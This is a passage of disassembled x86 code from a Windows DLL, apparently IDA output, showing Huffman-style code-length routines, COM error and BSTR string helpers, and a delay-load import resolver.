		db 0C4h	; Ä
		db    4
; ---------------------------------------------------------------------------


loc_1001C47D:				; CODE XREF: sub_1001C420+49j
		push	eax		; Size
		call	esi ; malloc
		add	esp, 4
		mov	dword_10076378,	eax
		test	eax, eax
		jz	short loc_1001C44E
		jmp	short loc_1001C493
; ---------------------------------------------------------------------------


loc_1001C48E:				; CODE XREF: sub_1001C420+9j
		mov	eax, dword_10076378


loc_1001C493:				; CODE XREF: sub_1001C420+2Cj
					; sub_1001C420+6Cj
		mov	byte ptr [eax],	0
		mov	ecx, 0FFh
		xor	eax, eax
		mov	edi, offset word_10076B78
		rep stosd
		mov	ecx, 7
		mov	edi, offset word_10077388
		rep stosd
		mov	dword_1007637C,	eax
		mov	dword_10079C08,	eax
		call	sub_1001B4C0
		pop	edi
		pop	esi
		retn
sub_1001C420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C4D0	proc near		; CODE XREF: sub_1001B640:loc_1001B767p
		mov	eax, dword_1007411C
		test	eax, eax
		jnz	short locret_1001C4EA
		call	sub_1001BF50
		push	0
		push	7
		call	sub_1001B2F0
		add	esp, 8

locret_1001C4EA:			; CODE XREF: sub_1001C4D0+7j
		retn
sub_1001C4D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C4F0	proc near		; CODE XREF: sub_1001BF50+18p
					; sub_1001BF50+52p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_8]
		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		mov	dword_1007A43C,	edx
		push	ebp
		mov	dword_1007A434,	eax
		xor	edx, edx
		mov	ebp, ecx
		xor	eax, eax
		cmp	ecx, edx
		mov	dword_1007A438,	ecx
		mov	[esp+4+arg_4], ebp
		mov	dword_1007A440,	edx
		mov	word_1007A46E, dx
		jle	short loc_1001C568


loc_1001C529:				; CODE XREF: sub_1001C4F0+6Cj
		mov	ecx, dword_1007A43C
		mov	[ecx+eax], dl
		mov	ecx, dword_1007A434
		cmp	[ecx+eax*2], dx
		jz	short loc_1001C553
		mov	ecx, dword_1007A440
		inc	ecx
		mov	dword_1007A440,	ecx
		mov	word_1007A46C[ecx*2], ax


loc_1001C553:				; CODE XREF: sub_1001C4F0+4Cj
		mov	ecx, dword_1007A438
		inc	eax
		cmp	eax, ecx
		jl	short loc_1001C529
		mov	eax, dword_1007A440
		cmp	eax, 2
		jge	short loc_1001C580


loc_1001C568:				; CODE XREF: sub_1001C4F0+37j
		movsx	eax, word_1007A46E
		mov	ecx, [esp+4+arg_C]
		pop	ebp
		mov	[ecx+eax*2], dx
		movsx	eax, word_1007A46E
		retn
; ---------------------------------------------------------------------------


loc_1001C580:				; CODE XREF: sub_1001C4F0+76j
		cdq
		push	ebx
		sub	eax, edx
		push	esi
		mov	esi, eax
		sar	esi, 1
		cmp	esi, 1
		push	edi
		jl	short loc_1001C59E


loc_1001C58F:				; CODE XREF: sub_1001C4F0+ACj
		push	esi
		call	sub_1001C800
		add	esp, 4
		dec	esi
		cmp	esi, 1
		jge	short loc_1001C58F


loc_1001C59E:				; CODE XREF: sub_1001C4F0+9Dj
		mov	edx, [esp+10h+arg_C]
		mov	dword_1007A444,	edx
		jmp	short loc_1001C5AE
; ---------------------------------------------------------------------------


loc_1001C5AA:				; CODE XREF: sub_1001C4F0+171j
		mov	ebp, [esp+10h+arg_4]


loc_1001C5AE:				; CODE XREF: sub_1001C4F0+B8j
		movsx	ebx, word_1007A46E
		cmp	ebx, dword_1007A438
		jge	short loc_1001C5D2
		mov	eax, dword_1007A444
		mov	[eax], bx
		mov	eax, dword_1007A444
		add	eax, 2
		mov	dword_1007A444,	eax


loc_1001C5D2:				; CODE XREF: sub_1001C4F0+CBj
		mov	eax, dword_1007A440
		push	1
		mov	cx, word_1007A46C[eax*2]
		dec	eax
		mov	word_1007A46E, cx
		mov	dword_1007A440,	eax
		call	sub_1001C800
		movsx	edi, word_1007A46E
		mov	eax, dword_1007A438
		add	esp, 4
		cmp	edi, eax
		jge	short loc_1001C61C
		mov	edx, dword_1007A444
		mov	[edx], di
		mov	eax, dword_1007A444
		add	eax, 2
		mov	dword_1007A444,	eax


loc_1001C61C:				; CODE XREF: sub_1001C4F0+114j
		mov	eax, [esp+10h+arg_4]
		lea	esi, [ebp+ebp+0]
		inc	eax
		push	1
		mov	[esp+14h+arg_4], eax
		mov	eax, dword_1007A434
		mov	cx, [eax+edi*2]
		add	cx, [eax+ebx*2]
		mov	[esi+eax], cx
		mov	word_1007A46E, bp
		call	sub_1001C800
		mov	eax, dword_1007A440
		add	esp, 4
		cmp	eax, 1
		mov	word_10076380[esi], bx
		mov	word_100793C0[esi], di
		jg	loc_1001C5AA
		mov	esi, [esp+10h+arg_C]
		push	ebp
		mov	dword_1007A444,	esi
		call	sub_1001C6A0
		mov	edx, [esp+14h+arg_8]
		mov	eax, [esp+14h+arg_0]
		push	esi
		push	edx
		push	eax
		call	sub_1001C880
		add	esp, 10h
		mov	eax, ebp
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_1001C4F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C6A0	proc near		; CODE XREF: sub_1001C4F0+182p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ecx, 8
		xor	eax, eax
		mov	edi, offset word_1007A448
		rep stosd
		stosw
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		call	sub_1001C790
		add	esp, 4
		xor	edx, edx
		xor	ecx, ecx
		mov	eax, offset word_1007A468
		mov	ebx, 2


loc_1001C6CE:				; CODE XREF: sub_1001C6A0+3Fj
		xor	esi, esi
		mov	si, [eax]
		sub	eax, ebx
		shl	esi, cl
		add	edx, esi
		inc	ecx
		cmp	eax, offset word_1007A448
		jg	short loc_1001C6CE
		cmp	edx, 10000h
		jz	short loc_1001C746
		mov	esi, ds:fprintf
		lea	edi, [edx-10000h]


loc_1001C6F5:				; CODE XREF: sub_1001C6A0+A4j
		mov	ecx, ds:_iob
		push	offset a17	; "17"
		add	ecx, 40h
		push	ecx		; File
		call	esi ; fprintf
		add	esp, 8
		dec	word_1007A468
		mov	ecx, 0Fh
		mov	eax, offset word_1007A466


loc_1001C71A:				; CODE XREF: sub_1001C6A0+88j
		cmp	word ptr [eax],	0
		jnz	short loc_1001C72C
		sub	eax, ebx
		dec	ecx
		cmp	eax, offset word_1007A448
		jg	short loc_1001C71A
		jmp	short loc_1001C743
; ---------------------------------------------------------------------------


loc_1001C72C:				; CODE XREF: sub_1001C6A0+7Ej
		dec	word_1007A448[ecx*2]
		add	word_1007A44A[ecx*2], bx
		lea	eax, word_1007A44A[ecx*2]


loc_1001C743:				; CODE XREF: sub_1001C6A0+8Aj
		dec	edi
		jnz	short loc_1001C6F5


loc_1001C746:				; CODE XREF: sub_1001C6A0+47j
		mov	eax, 10h
		mov	edx, offset word_1007A468


loc_1001C750:				; CODE XREF: sub_1001C6A0+E7j
		xor	ecx, ecx
		mov	cx, [edx]
		dec	ecx
		js	short loc_1001C77E
		inc	ecx


loc_1001C759:				; CODE XREF: sub_1001C6A0+DCj
		mov	edi, dword_1007A444
		xor	esi, esi
		mov	si, [edi]
		mov	edi, dword_1007A43C
		mov	[esi+edi], al
		mov	edi, dword_1007A444
		add	edi, ebx
		dec	ecx
		mov	dword_1007A444,	edi
		jnz	short loc_1001C759


loc_1001C77E:				; CODE XREF: sub_1001C6A0+B6j
		sub	edx, ebx
		dec	eax
		cmp	edx, offset word_1007A448
		jg	short loc_1001C750
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1001C6A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C790	proc near		; CODE XREF: sub_1001C6A0+18p
					; sub_1001C790+3Fp ...

arg_0		= dword	ptr  4

		mov	eax, dword_1007A438
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, eax
		jge	short loc_1001C7B7
		mov	eax, dword_1007A86C
		cmp	eax, 10h
		jl	short loc_1001C7AD
		mov	eax, 10h


loc_1001C7AD:				; CODE XREF: sub_1001C790+16j
		inc	word_1007A448[eax*2]
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_1001C7B7:				; CODE XREF: sub_1001C790+Cj
		mov	edx, dword_1007A86C
		xor	eax, eax
		mov	ax, word_10076380[esi*2]
		inc	edx
		push	eax
		mov	dword_1007A86C,	edx
		call	sub_1001C790
		xor	ecx, ecx
		mov	cx, word_100793C0[esi*2]
		push	ecx
		call	sub_1001C790
		mov	eax, dword_1007A86C
		add	esp, 8
		dec	eax
		mov	dword_1007A86C,	eax
		pop	esi
		retn
sub_1001C790	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C800	proc near		; CODE XREF: sub_1001C4F0+A0p
					; sub_1001C4F0+FEp ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_1007A440
		push	ebx
		push	ebp
		lea	eax, [edx+edx]
		push	esi
		push	edi
		cmp	eax, ecx
		movsx	edi, word_1007A46C[eax]
		jg	short loc_1001C86A
		mov	esi, dword_1007A434


loc_1001C822:				; CODE XREF: sub_1001C800+68j
		jge	short loc_1001C83F
		movsx	ebx, word_1007A46C[eax*2]
		movsx	ecx, word_1007A46E[eax*2]
		mov	bx, [esi+ebx*2]
		cmp	bx, [esi+ecx*2]
		jbe	short loc_1001C83F
		inc	eax


loc_1001C83F:				; CODE XREF: sub_1001C800:loc_1001C822j
					; sub_1001C800+3Cj
		mov	cx, word_1007A46C[eax*2]
		mov	bp, [esi+edi*2]
		movsx	ebx, cx
		cmp	bp, [esi+ebx*2]
		jbe	short loc_1001C86A
		mov	word_1007A46C[edx*2], cx
		mov	ecx, dword_1007A440
		mov	edx, eax
		add	eax, eax
		cmp	eax, ecx
		jle	short loc_1001C822


loc_1001C86A:				; CODE XREF: sub_1001C800+1Aj
					; sub_1001C800+52j
		mov	word_1007A46C[edx*2], di
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_1001C800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C880	proc near		; CODE XREF: sub_1001C4F0+192p

var_24		= word ptr -24h
var_22		= word ptr -22h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 24h
		mov	[esp+24h+var_22], 0
		xor	eax, eax


loc_1001C88C:				; CODE XREF: sub_1001C880+25j
		mov	cx, word_1007A44A[eax]
		add	cx, [esp+eax+24h+var_22]
		add	eax, 2
		shl	ecx, 1
		mov	[esp+eax+24h+var_22], cx
		cmp	eax, 1Eh
		jle	short loc_1001C88C
		push	edi
		mov	edi, [esp+28h+arg_0]
		xor	eax, eax
		test	edi, edi
		jle	short loc_1001C8E0
		mov	edx, [esp+28h+arg_8]
		push	esi
		mov	esi, [esp+2Ch+arg_4]


loc_1001C8BB:				; CODE XREF: sub_1001C880+5Dj
		xor	ecx, ecx
		add	edx, 2
		mov	cl, [eax+esi]
		mov	cx, [esp+ecx*2+2Ch+var_24]
		mov	[edx-2], cx
		xor	ecx, ecx
		mov	cl, [eax+esi]
		inc	[esp+ecx*2+2Ch+var_24]
		lea	ecx, [esp+ecx*2+2Ch+var_24]
		inc	eax
		cmp	eax, edi
		jl	short loc_1001C8BB
		pop	esi


loc_1001C8E0:				; CODE XREF: sub_1001C880+30j
		pop	edi
		add	esp, 24h
		retn
sub_1001C880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001C8F0	proc near		; CODE XREF: std::ios_base::register_callback(void (*)(std::ios_base::event,std::ios_base &,int),int)+72p
					; sub_1000D780+3Cp ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_1001CAE2
		retn	4
sub_1001C8F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001C8FE	proc near		; CODE XREF: sub_1000CF90+37p
					; sub_1000CFE0+3Bp ...

pperrinfo	= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+pperrinfo], 0
		test	eax, eax
		jz	short loc_1001C950
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_10024158
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_1001C950
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_1001C950
		lea	eax, [ebp+pperrinfo]
		push	eax		; pperrinfo
		push	0		; dwReserved
		call	ds:GetErrorInfo
		test	eax, eax
		jz	short loc_1001C950
		and	[ebp+pperrinfo], 0


loc_1001C950:				; CODE XREF: sub_1001C8FE+Dj
					; sub_1001C8FE+1Fj ...
		push	[ebp+pperrinfo]
		push	[ebp+arg_0]
		call	sub_1001CAE2
		leave
		retn	0Ch
sub_1001C8FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001C95F	proc near		; DATA XREF: .data:1002201Co

; FUNCTION CHUNK AT 1001C97B SIZE 0000000C BYTES

		call	sub_1001C969
		jmp	loc_1001C97B
sub_1001C95F	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001C969	proc near		; CODE XREF: sub_1001C95Fp
		push	0Ah
		push	80020004h
		mov	ecx, offset pvarg
		call	sub_1001CA86
		retn
sub_1001C969	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_1001C95F


loc_1001C97B:				; CODE XREF: sub_1001C95F+5j
		push	offset sub_1001C987 ; void (__cdecl *)()
		call	_atexit
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_1001C95F

; =============== S U B	R O U T	I N E =======================================


; void __cdecl sub_1001C987()

sub_1001C987	proc near		; DATA XREF: sub_1001C95F:loc_1001C97Bo
		push	offset pvarg	; pvarg
		call	ds:VariantClear
		test	eax, eax
		jge	short locret_1001C99C
		push	eax
		call	sub_1001C8F0

locret_1001C99C:			; CODE XREF: sub_1001C987+Dj
		retn
sub_1001C987	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1001C99D(LPCSTR lpMultiByteStr)

sub_1001C99D	proc near		; CODE XREF: sub_1000D780+1Fp

lpMultiByteStr	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		cmp	[ebp+lpMultiByteStr], 0
		push	esi
		push	edi
		jnz	short loc_1001C9AC
		xor	eax, eax
		jmp	short loc_1001CA09
; ---------------------------------------------------------------------------


loc_1001C9AC:				; CODE XREF: sub_1001C99D+9j
		push	[ebp+lpMultiByteStr] ; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	__alloca_probe
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	[ebp+lpMultiByteStr] ; lpMultiByteStr
		and	word ptr [edi],	0
		push	0		; dwFlags
		push	0		; CodePage
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_1001CA02
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jz	short loc_1001C9FA
		call	esi ; GetLastError
		and	eax, 0FFFFh
		or	eax, 80070000h
		jmp	short loc_1001C9FC
; ---------------------------------------------------------------------------


loc_1001C9FA:				; CODE XREF: sub_1001C99D+4Dj
		xor	eax, eax


loc_1001C9FC:				; CODE XREF: sub_1001C99D+5Bj
		push	eax
		call	sub_1001C8F0


loc_1001CA02:				; CODE XREF: sub_1001C99D+41j
		push	edi		; psz
		call	ds:SysAllocString


loc_1001CA09:				; CODE XREF: sub_1001C99D+Dj
		lea	esp, [ebp-8]
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_1001C99D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_1001CA12(wchar_t *lpWideCharStr)

sub_1001CA12	proc near		; CODE XREF: sub_1000D870+16p

lpWideCharStr	= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+lpWideCharStr]
		xor	ebx, ebx
		cmp	ebp, ebx
		jnz	short loc_1001CA22
		xor	eax, eax
		jmp	short loc_1001CA81
; ---------------------------------------------------------------------------


loc_1001CA22:				; CODE XREF: sub_1001CA12+Aj
		push	esi
		push	edi
		push	ebp		; Str
		call	wcslen	; wcslen
		lea	edi, [eax+eax+2]
		push	edi		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jnz	short loc_1001CA46
		push	8007000Eh
		call	sub_1001C8F0


loc_1001CA46:				; CODE XREF: sub_1001CA12+28j
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	edi		; cbMultiByte
		push	esi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ebp		; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[esi], bl
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_1001CA7D
		mov	edi, ds:GetLastError
		call	edi ; GetLastError
		test	eax, eax
		jz	short loc_1001CA75
		call	edi ; GetLastError
		and	eax, 0FFFFh
		or	eax, 80070000h
		jmp	short loc_1001CA77
; ---------------------------------------------------------------------------


loc_1001CA75:				; CODE XREF: sub_1001CA12+53j
		xor	eax, eax


loc_1001CA77:				; CODE XREF: sub_1001CA12+61j
		push	eax
		call	sub_1001C8F0


loc_1001CA7D:				; CODE XREF: sub_1001CA12+47j
		mov	eax, esi
		pop	edi
		pop	esi


loc_1001CA81:				; CODE XREF: sub_1001CA12+Ej
		pop	ebp
		pop	ebx
		retn	4
sub_1001CA12	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CA86	proc near		; CODE XREF: sub_1001C969+Cp

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		push	esi
		push	edi
		mov	di, [esp+8+arg_4]
		mov	esi, ecx
		cmp	di, 3
		jz	short loc_1001CAAB
		cmp	di, 0Ah
		jz	short loc_1001CAB1
		cmp	di, 0Bh
		jz	short loc_1001CAAB
		push	80070057h
		call	sub_1001C8F0


loc_1001CAAB:				; CODE XREF: sub_1001CA86+Dj
					; sub_1001CA86+19j
		cmp	di, 0Ah
		jnz	short loc_1001CAB8


loc_1001CAB1:				; CODE XREF: sub_1001CA86+13j
		mov	word ptr [esi],	0Ah
		jmp	short loc_1001CAD4
; ---------------------------------------------------------------------------


loc_1001CAB8:				; CODE XREF: sub_1001CA86+29j
		cmp	di, 0Bh
		jnz	short loc_1001CACF
		mov	eax, [esp+8+arg_0]
		mov	[esi], di
		neg	eax
		sbb	eax, eax
		mov	[esi+8], ax
		jmp	short loc_1001CADB
; ---------------------------------------------------------------------------


loc_1001CACF:				; CODE XREF: sub_1001CA86+36j
		mov	word ptr [esi],	3


loc_1001CAD4:				; CODE XREF: sub_1001CA86+30j
		mov	eax, [esp+8+arg_0]
		mov	[esi+8], eax


loc_1001CADB:				; CODE XREF: sub_1001CA86+47j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_1001CA86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001CAE2	proc near		; CODE XREF: sub_1001C8F0+6p
					; sub_1001C8FE+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_1001CB06
		lea	eax, [ebp+var_10]
		push	offset dword_10020450
		push	eax
		call	_CxxThrowException	; _CxxThrowException
sub_1001CAE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_1001CB06	proc near		; CODE XREF: sub_1001CAE2+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_1001FB60
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_1001CB32
		cmp	[esp+4+arg_8], 0
		jz	short loc_1001CB32
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_1001CB32:				; CODE XREF: sub_1001CB06+1Dj
					; sub_1001CB06+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_1001CB06	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_1001CB38(void *, char)

sub_1001CB38	proc near		; DATA XREF: .rdata:off_1001FB60o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_1001CB81
		test	[esp+4+arg_0], 1
		jz	short loc_1001CB4E
		push	esi		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_1001CB4E:				; CODE XREF: sub_1001CB38+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_1001CB38	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CB54	proc near		; DATA XREF: .rdata:10020440o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_1001FB60
		jz	short loc_1001CB7B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_1001CB7B:				; CODE XREF: sub_1001CB54+1Fj
		mov	eax, esi
		pop	esi
		retn	4
sub_1001CB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001CB81	proc near		; CODE XREF: sub_1001CB38+3p
					; DATA XREF: .rdata:10020454o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_1001FB60
		test	eax, eax
		jz	short loc_1001CB97
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_1001CB97:				; CODE XREF: sub_1001CB81+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_1001CBA5
		push	esi		; hMem
		call	ds:LocalFree	; LocalFree


loc_1001CBA5:				; CODE XREF: sub_1001CB81+1Bj
		pop	esi
		retn
sub_1001CB81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_1001CBA7(int, ULONG_PTR Arguments)

sub_1001CBA7	proc near		; CODE XREF: GdipGetImageEncodersSize_thunk+11p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
lpLibFileName	= dword	ptr -18h
var_14		= dword	ptr -14h
lpProcName	= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Arguments	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	ecx, [ebp+Arguments]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	ebx, ebx
		mov	eax, [esi+4]
		lea	edi, [ebp+lpProcName]
		mov	[ebp+lpLibFileName], eax
		xor	eax, eax
		mov	[ebp+var_24], 24h
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_14], ebx
		stosd
		mov	eax, [esi+8]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	edi, [eax]
		mov	eax, ecx
		sub	eax, [esi+0Ch]
		sar	eax, 2
		mov	ecx, eax
		mov	eax, [esi+10h]
		shl	ecx, 2
		add	eax, ecx
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax]
		not	ecx
		shr	ecx, 1Fh
		mov	[ebp+var_14], ecx
		mov	eax, [eax]
		jz	short loc_1001CC09
		inc	eax
		inc	eax
		jmp	short loc_1001CC0E
; ---------------------------------------------------------------------------


loc_1001CC09:				; CODE XREF: sub_1001CBA7+5Cj
		and	eax, 0FFFFh


loc_1001CC0E:				; CODE XREF: sub_1001CBA7+60j
		mov	[ebp+lpProcName], eax
		mov	eax, dword_1007A888
		cmp	eax, ebx
		jz	short loc_1001CC2B
		lea	ecx, [ebp+var_24]
		push	ecx
		push	ebx
		call	eax ; dword_1007A888
		mov	ebx, eax
		test	ebx, ebx
		jnz	loc_1001CD7C


loc_1001CC2B:				; CODE XREF: sub_1001CBA7+71j
		test	edi, edi
		jnz	loc_1001CCD5
		mov	eax, dword_1007A888
		test	eax, eax
		jz	short loc_1001CC4A
		lea	ecx, [ebp+var_24]
		push	ecx
		push	1
		call	eax ; dword_1007A888
		mov	edi, eax
		test	edi, edi
		jnz	short loc_1001CC9A


loc_1001CC4A:				; CODE XREF: sub_1001CBA7+93j
		push	[ebp+lpLibFileName] ; lpLibFileName
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_1001CC9A
		call	ds:GetLastError
		mov	[ebp+var_4], eax
		mov	eax, dword_1007A884
		test	eax, eax
		jz	short loc_1001CC79
		lea	ecx, [ebp+var_24]
		push	ecx
		push	3
		call	eax ; dword_1007A884
		mov	edi, eax
		test	edi, edi
		jnz	short loc_1001CC9A


loc_1001CC79:				; CODE XREF: sub_1001CBA7+C2j
		lea	eax, [ebp+var_24]
		mov	[ebp+Arguments], eax
		lea	eax, [ebp+Arguments]
		push	eax		; lpArguments
		push	1		; nNumberOfArguments
		push	0		; dwExceptionFlags
		push	0C06D007Eh	; dwExceptionCode
		call	ds:RaiseException	; RaiseException
		mov	eax, [ebp+var_8]
		jmp	loc_1001CD99
; ---------------------------------------------------------------------------


loc_1001CC9A:				; CODE XREF: sub_1001CBA7+A1j
					; sub_1001CBA7+B0j ...
		push	edi		; Value
		push	dword ptr [esi+8] ; Target
		call	ds:InterlockedExchange	; InterlockedExchange
		cmp	eax, edi
		jz	short loc_1001CCCE
		cmp	dword ptr [esi+18h], 0
		jz	short loc_1001CCD5
		push	8		; uBytes
		push	40h		; uFlags
		call	ds:LocalAlloc	; LocalAlloc
		test	eax, eax
		jz	short loc_1001CCD5
		mov	[eax+4], esi
		mov	ecx, dword_1007A880
		mov	[eax], ecx
		mov	dword_1007A880,	eax
		jmp	short loc_1001CCD5
; ---------------------------------------------------------------------------


loc_1001CCCE:				; CODE XREF: sub_1001CBA7+FFj
		push	edi		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary


loc_1001CCD5:				; CODE XREF: sub_1001CBA7+86j
					; sub_1001CBA7+105j ...
		mov	eax, dword_1007A888
		mov	[ebp+var_C], edi
		test	eax, eax
		jz	short loc_1001CCEB
		lea	ecx, [ebp+var_24]
		push	ecx
		push	2
		call	eax ; dword_1007A888
		mov	ebx, eax


loc_1001CCEB:				; CODE XREF: sub_1001CBA7+138j
		test	ebx, ebx
		jnz	loc_1001CD77
		mov	edx, [esi+14h]
		test	edx, edx
		jz	short loc_1001CD2C
		mov	ecx, [esi+1Ch]
		test	ecx, ecx
		jz	short loc_1001CD2C
		mov	eax, [edi+3Ch]
		add	eax, edi
		cmp	dword ptr [eax], 4550h
		jnz	short loc_1001CD2C
		cmp	[eax+8], ecx
		jnz	short loc_1001CD2C
		cmp	edi, [eax+34h]
		jnz	short loc_1001CD2C
		push	edx
		push	dword ptr [esi+0Ch]
		call	sub_1001CDA0
		mov	eax, [esi+0Ch]
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx+eax]
		jmp	short loc_1001CD7C
; ---------------------------------------------------------------------------


loc_1001CD2C:				; CODE XREF: sub_1001CBA7+151j
					; sub_1001CBA7+158j ...
		push	[ebp+lpProcName] ; lpProcName
		push	edi		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_1001CD77
		call	ds:GetLastError
		mov	[ebp+var_4], eax
		mov	eax, dword_1007A884
		test	eax, eax
		jz	short loc_1001CD58
		lea	ecx, [ebp+var_24]
		push	ecx
		push	4
		call	eax ; dword_1007A884
		mov	ebx, eax


loc_1001CD58:				; CODE XREF: sub_1001CBA7+1A5j
		test	ebx, ebx
		jnz	short loc_1001CD77
		lea	eax, [ebp+var_24]
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	eax		; lpArguments
		push	1		; nNumberOfArguments
		push	ebx		; dwExceptionFlags
		push	0C06D007Fh	; dwExceptionCode
		call	ds:RaiseException	; RaiseException
		mov	ebx, [ebp+var_8]


loc_1001CD77:				; CODE XREF: sub_1001CBA7+146j
					; sub_1001CBA7+193j ...
		mov	eax, [ebp+Arguments]
		mov	[eax], ebx


loc_1001CD7C:				; CODE XREF: sub_1001CBA7+7Ej
					; sub_1001CBA7+183j
		mov	eax, dword_1007A888
		test	eax, eax
		jz	short loc_1001CD97
		and	[ebp+var_4], 0
		lea	ecx, [ebp+var_24]
		push	ecx
		push	5
		mov	[ebp+var_C], edi
